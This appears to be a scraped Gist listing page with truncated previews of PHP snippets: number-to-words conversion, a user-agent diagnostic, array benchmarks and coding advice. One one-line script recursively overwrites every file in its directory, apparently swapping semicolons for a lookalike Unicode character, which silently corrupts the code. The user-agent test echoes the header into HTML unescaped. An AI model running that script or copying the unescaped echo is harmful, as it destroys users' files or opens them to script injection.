This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* This Gist just demonstrates some basic ideas for converting numbers from a | |
* numberic format into a word format. It's pretty simplistic (i.e., done in a | |
* rush and messy as shit) and is only really intended to provide some basic | |
* ideas, and of course, there'll likely be others ways to go about it, too. | |
* | |
* Context: https://www.facebook.com/groups/2204685680/permalink/10156073375930681/ | |
* | |
* It will likely need to be expanded upon and adapted to suit your needs (due |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// Test file to assist in diagnosing possible problems with user agents in CIDRAM. | |
$CSS = 'style="width:600px;background-color:#ff9;border:1px solid #000"'; | |
echo '<html><body><h4>Test 1: Printing the standard "$_SERVER[\'HTTP_USER_AGENT\']" variable.</h4>'; | |
echo 'Success condition: You should see your UA printed in the box below.<br />'; | |
echo '<input ' . $CSS . ' type="text" value="' . $_SERVER['HTTP_USER_AGENT'] . '" readonly /><br /><br />'; | |
$TestArr = array( | |
'UA' => empty($_SERVER['HTTP_USER_AGENT']) ? '' : $_SERVER['HTTP_USER_AGENT'] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php $L=new RecursiveIteratorIterator(new RecursiveDirectoryIterator(__DIR__), RecursiveIteratorIterator::SELF_FIRST);@foreach($L as $F=>$L){$X=substr($L,-2);if(preg_match('~([\\/]\.|\.\.)~',$L)){continue;}$D=str_replace(';',';',file_get_contents($L));$H=fopen($L,'w');fwrite($H, $D);fclose($H);} ?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* If [1] Paul the Octopus can successfully predict the winners for the 2010 | |
* FIFA World Cup 11 out of 13 times, perhaps, just for laughs, we can give it | |
* a go in PHP. ;-) | |
* | |
* The three next closest up-coming general elections in the world at the | |
* moment, as far as I could determine via googling, seem to be in [2] Ghana | |
* (7 December 2016, with John Dramani Mahama vs Nana Akufo-Addo), [3] | |
* Macedonia (11 December 2016, with Nikola Gruevski vs Zoran Zaev), and [3] | |
* Romania (11 December 2016, with Liviu Dragnea vs Alina Gorghiu vs Călin |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Example information for having PHP listen to your server. | |
server { | |
listen 80; | |
server_name localhost foo.bar.tld *.domain.tld; | |
autoindex off; | |
# proxy the PHP scripts to Apache listening on 127.0.0.1:80 | |
# |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* "Undefined index" means that you're trying to fetch data from a variable | |
* that doesn't exist (or isn't "defined"). Looking at your code here, | |
* personally, what I would do here, firstly, is check whether your $_REQUEST | |
* variables are empty, and if they're not, *then* set your $action variable, | |
* rather than before. | |
*/ | |
if (!empty($_REQUEST['action'])) { | |
$action = $_REQUEST['action']; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function time_diff($a,$b) { | |
$a = explode(' ', $a, 2); | |
$b = explode(' ', $b, 2); | |
return ($b[1] + $b[0]) - ($a[1] + $a[0]); | |
} | |
/** | |
* extends the keys of $pairs to replaceable selectors | |
* |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$arr1 = array( | |
'a' => 'Hello', | |
'b' => 'World', | |
'c' => 'Foo', | |
'd' => 'Bar' | |
); | |
$arr2 = array( | |
'a' => 'Fello', | |
'b' => 'Borld', |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Speed test for array_merge() function of PHP. | |
* | |
* Tested using PHP 7.0.2 (2016.02.11) for Windows 7. | |
* | |
* Results are consistent, suggesting that, where the possible outputs from | |
* using "array_merge()" versus using the "+" operator aren't different, | |
* it may be faster to use the "+" operator (note that, depending on what's | |
* being merged, the outputs may sometimes differ). |